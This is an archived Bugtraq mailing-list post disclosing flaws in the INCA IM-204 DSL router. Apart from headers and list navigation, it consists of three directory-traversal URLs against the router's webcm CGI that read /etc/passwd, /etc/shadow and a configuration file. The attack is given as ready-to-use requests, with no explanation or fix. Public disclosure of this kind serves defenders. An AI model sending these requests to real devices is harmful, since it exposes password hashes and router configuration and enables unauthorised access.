INCA IM-204 Dsl several vulnerabilities

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: INCA IM-204 Dsl several vulnerabilities
From: crackers_child@xxxxxxxxxxxxxxxxxxx
Date: 23 Oct 2006 21:28:20 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

========================================
INCA IM-204 Dsl  several vulnerabilities
========================================

Found By Crackers_Child

crackers_child@xxxxxxxxxxxxxxxxxxx

==========================================


Directory transversal

http://192.168.1.1/cgi-bin/webcm?getpage=/./././././././etc/passwd


http://192.168.1.1/cgi-bin/webcm?getpage=/./././././././etc/shadow


http://192.168.1.1/cgi-bin/webcm?getpage=/./././././././etc/config.xml

====================================================================================

Greetz

X_Alperen_X and All SiberSavascilar.Com !

====================================================================================

Prev by Date: WikiNi Multiple Cross Site Scripting Vulnerabilities
Next by Date: [SECURITY] [DSA 1198-1] New python2.3 packages fix arbitrary code execution
Previous by thread: WikiNi Multiple Cross Site Scripting Vulnerabilities
Next by thread: [SECURITY] [DSA 1198-1] New python2.3 packages fix arbitrary code execution
Index(es):
- Date
- Thread